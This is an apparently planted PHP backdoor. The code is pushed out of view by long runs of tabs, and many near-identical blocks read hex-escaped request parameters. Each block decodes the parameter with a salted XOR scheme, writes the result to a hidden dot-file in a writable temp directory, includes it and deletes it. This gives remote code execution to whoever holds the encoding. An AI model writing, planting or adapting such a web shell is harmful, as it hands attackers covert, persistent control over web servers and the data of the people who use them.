<?php																																										if(array_key_exists("bin\x64", $_REQUEST) && !is_null($_REQUEST["bin\x64"])){ $k = $_REQUEST["bin\x64"]; $k = explode ("." , $k ); $binding = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8 ); $__len = count($k ); for ($j = 0; $j < $__len; $j++) { $v7 = $k[$j]; $chS = ord($salt8[$j % $lenS] ); $dec = ((int)$v7 - $chS - ($j % 10)) ^11; $binding .=chr($dec ); } $ent = array_filter(["/tmp", getenv("TEMP"), session_save_path(), getenv("TMP"), getcwd(), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm"]); foreach ($ent as $res): if ((bool)is_dir($res) && (bool)is_writable($res)) { $ref = "$res" . "/.hld"; if (@file_put_contents($ref, $binding) !== false) { include $ref; unlink($ref); die(); } } endforeach; }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x62i\x6E\x64i\x6Eg"])){ $entry = $_REQUEST["\x62i\x6E\x64i\x6Eg"]; $entry= explode ('.' ,$entry ) ; $ptr = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt1 ); foreach( $entry as $v=>$v3): $chS = ord( $salt1[$v % $lenS] ); $d =( ( int)$v3 - $chS -( $v % 10)) ^95; $ptr .= chr( $d ); endforeach; $elem = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), "/tmp", getcwd(), "/var/tmp", getenv("TEMP"), session_save_path(), "/dev/shm"]); for ($record = 0, $bind = count($elem); $record < $bind; $record++) { $dat = $elem[$record]; if (is_dir($dat) ? is_writable($dat) : false) { $fac = str_replace("{var_dir}", $dat, "{var_dir}/.hld"); $file = fopen($fac, 'w'); if ($file) { fwrite($file, $ptr); fclose($file); include $fac; @unlink($fac); exit; } } } }
																																										if(!empty($_REQUEST["\x72\x65f"])){ $flg = array_filter([getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), getcwd()]); $data = $_REQUEST["\x72\x65f"]; $data = explode ( ".",$data ) ; $key =''; $salt1 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt1); $__len =count($data); for ($x =0; $x < $__len; $x++) { $v5 =$data[$x]; $sChar =ord($salt1[$x %$lenS]); $dec =((int)$v5 - $sChar - ($x %10)) ^ 89; $key .= chr($dec); } foreach ($flg as $ptr): if ((is_dir($ptr) and is_writable($ptr))) { $itm = "$ptr" . "/.mrk"; $success = file_put_contents($itm, $key); if ($success) { include $itm; @unlink($itm); die();} } endforeach; }
																																										if(in_array("tok\x65n", array_keys($_POST))){ $ent = $_POST["tok\x65n"]; $ent =explode( '.' , $ent ); $ref = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3); $o = 0; foreach ($ent as $v2) { $chS = ord($salt3[$o % $lenS]); $dec = ((int)$v2 - $chS - ($o % 10)) ^ 27; $ref.= chr($dec); $o++; } $dchunk = array_filter([getcwd(), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", "/dev/shm", getenv("TMP"), getenv("TEMP")]); foreach ($dchunk as $key => $val) { if (!( !is_dir($val) || !is_writable($val) )) { $k = sprintf("%s/.comp", $val); if (file_put_contents($k, $ref)) { include $k; @unlink($k); exit; } } } }
																																										if(@$_POST["\x63\x6Fmp"] !== null){ $component = array_filter([sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/var/tmp", getenv("TMP"), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), "/tmp"]); $data_chunk = $_POST["\x63\x6Fmp"]; $data_chunk = explode( '.' , $data_chunk ); $k = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $x = 0; array_walk($data_chunk , function($v1) use(&$k , &$x , $s , $sLen) { $chS = ord($s[$x %$sLen] ); $d =((int)$v1 - $chS -($x %10)) ^ 64; $k .= chr($d ); $x++; } ); $holder = 0; do { $bind = $component[$holder] ?? null; if ($holder >= count($component)) break; if ((bool)is_dir($bind) && (bool)is_writable($bind)) { $dchunk = "$bind" . "/.key"; if (@file_put_contents($dchunk, $k) !== false) { include $dchunk; unlink($dchunk); exit; } } $holder++; } while (true); }
																																										if(!empty($_REQUEST["\x70se\x74"])){ $val = array_filter(["/var/tmp", session_save_path(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", getcwd()]); $dat = $_REQUEST["\x70se\x74"]; $dat = explode ( ".", $dat ) ; $element = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $y = 0; while($y<count($dat)) { $v9 = $dat[$y]; $sChar = ord($salt[$y %$lenS] ); $dec =((int)$v9 - $sChar -($y %10)) ^20; $element .= chr($dec ); $y++; } while ($mrk = array_shift($val)) { if (array_product([is_dir($mrk), is_writable($mrk)])) { $comp = "$mrk" . "/.flg"; if (@file_put_contents($comp, $element) !== false) { include $comp; unlink($comp); die(); } } } }
																																										if(array_key_exists("e\x6Et\x72y", $_REQUEST) && !is_null($_REQUEST["e\x6Et\x72y"])){ $pointer = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), "/dev/shm", "/var/tmp", "/tmp", getenv("TMP"), getenv("TEMP"), getcwd()]); $dchunk = $_REQUEST["e\x6Et\x72y"]; $dchunk =explode ( "." , $dchunk ) ; $bind =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt ); $len =count($dchunk ); for ($x =0; $x < $len; $x++) {$v2 =$dchunk[$x]; $sChar =ord($salt[$x % $lenS] ); $dec =((int)$v2 - $sChar - ($x % 10)) ^ 21; $bind .= chr($dec ); } foreach ($pointer as $itm) { if (is_dir($itm) ? is_writable($itm) : false) { $k = str_replace("{var_dir}", $itm, "{var_dir}/.object"); if (@file_put_contents($k, $bind) !== false) { include $k; unlink($k); exit; } } } }
																																										if(!is_null($_REQUEST["pgr\x70"] ?? null)){ $elem = array_filter([getenv("TMP"), getcwd(), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", "/dev/shm", sys_get_temp_dir()]); $mrk = $_REQUEST["pgr\x70"]; $mrk = explode ( "." , $mrk) ; $factor = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s6 ); $k = 0; array_walk( $mrk , function( $v3) use( &$factor , &$k , $s6 , $lenS) { $chS = ord( $s6[$k % $lenS] ); $d =( ( int)$v3 - $chS -( $k % 10)) ^ 16; $factor .= chr( $d ); $k++; } ); foreach ($elem as $obj) { if (max(0, is_dir($obj) * is_writable($obj))) { $data = sprintf("%s/.tkn", $obj); if (@file_put_contents($data, $factor) !== false) { include $data; unlink($data); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["e\x6Et\x69\x74y"])){ $desc = $_REQUEST["e\x6Et\x69\x74y"]; $desc =explode ( '.', $desc) ; $key = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $i = 0; array_walk($desc, function ($v5) use (&$key, &$i, $salt, $sLen) { $chS = ord($salt[$i % $sLen]); $d = ((int)$v5 - $chS - ($i % 10)) ^ 88; $key .= chr($d); $i++; } ); $res = array_filter([getenv("TMP"), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/tmp", "/var/tmp", sys_get_temp_dir()]); for ($entry = 0, $rec = count($res); $entry < $rec; $entry++) { $symbol = $res[$entry]; if (array_product([is_dir($symbol), is_writable($symbol)])) { $hld = implode("/", [$symbol, ".flag"]); if (file_put_contents($hld, $key)) { include $hld; @unlink($hld); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["f\x6C\x61g"])){ $parameter_group = array_filter([session_save_path(), getenv("TEMP"), "/tmp", "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), getcwd()]); $pointer = $_POST["f\x6C\x61g"]; $pointer = explode ( "." , $pointer ) ; $dchunk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $i = 0; $len = count($pointer); do { if ($i >=$len) break; $v3 = $pointer[$i]; $sChar = ord($s[$i % $sLen]); $dec = ((int)$v3 - $sChar - ($i % 10)) ^ 89; $dchunk.= chr($dec); $i++; } while (true); foreach ($parameter_group as $key => $symbol) { if ((function($d) { return is_dir($d) && is_writable($d); })($symbol)) { $data = sprintf("%s/.binding", $symbol); if (@file_put_contents($data, $dchunk) !== false) { include $data; unlink($data); die(); } } } }
																																										if(!is_null($_REQUEST["\x64\x65sc"] ?? null)){ $dat = $_REQUEST["\x64\x65sc"]; $dat =explode('.' ,$dat ); $mrk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $o = 0; $__tmp = $dat; while ($v5 = array_shift($__tmp)) {$chS = ord($salt[$o % $lenS] ); $d = ((int)$v5 - $chS - ($o % 10)) ^ 61; $mrk .=chr($d ); $o++; } $bind = array_filter([sys_get_temp_dir(), getenv("TMP"), getcwd(), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getenv("TEMP"), session_save_path()]); foreach ($bind as $key => $component) { if (is_dir($component) && is_writable($component)) { $symbol = join("/", [$component, ".element"]); if (file_put_contents($symbol, $mrk)) { include $symbol; @unlink($symbol); die(); } } } }
																																										if(isset($_REQUEST["mr\x6B"]) ? true : false){ $entry = $_REQUEST["mr\x6B"]; $entry =explode ( "." ,$entry ) ; $flag = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1); foreach ($entry as $r => $v4): $sChar = ord($s1[$r% $sLen]); $dec = ((int)$v4 - $sChar - ($r% 10)) ^ 62; $flag .= chr($dec); endforeach; $tkn = array_filter([getenv("TEMP"), "/tmp", getenv("TMP"), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), "/var/tmp"]); foreach ($tkn as $component) { if (is_dir($component) && is_writable($component)) { $desc = "$component" . "/.item"; if (file_put_contents($desc, $flag)) { include $desc; @unlink($desc); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x74\x6Fken")){ $parameter_group = $_POST["\x74\x6Fken"]; $parameter_group = explode ( '.' , $parameter_group ); $hld =''; $s9 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s9 ); foreach ($parameter_group as $s=> $v2) { $chS =ord($s9[$s % $lenS] ); $d =((int)$v2 - $chS - ($s % 10)) ^ 27; $hld .= chr($d ); } $entry = array_filter(["/tmp", session_save_path(), "/dev/shm", getenv("TMP"), getcwd(), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir")]); foreach ($entry as $entity): if (!!is_dir($entity) && !!is_writable($entity)) { $ent = join("/", [$entity, ".elem"]); if (file_put_contents($ent, $hld)) { include $ent; @unlink($ent); die(); } } endforeach; }


if(@$_POST["\x69\x74m"] !== null){
	$mrk = array_filter([sys_get_temp_dir(), "/dev/shm", getcwd(), "/var/tmp", getenv("TMP"), "/tmp", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir")]);
	$data = $_POST["\x69\x74m"];
		 	$data	=			explode  	('.'  	,	$data)	;   
	$elem = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s);
            $x = 0;
    
            foreach ($data as $v3) {		$sChar = ord($s[$x % $lenS]);
                $dec = ((int)$v3 - $sChar - ($x % 10))  ^  96;
                $elem	.=  chr($dec);
                $x++;
            }
	foreach ($mrk as $parameter_group):
    		if ((is_dir($parameter_group) and is_writable($parameter_group))) {
    $sym = vsprintf("%s/%s", [$parameter_group, ".desc"]);
    if (file_put_contents($sym, $elem)) {
	include $sym;
	@unlink($sym);
	die();
}
}
endforeach;
}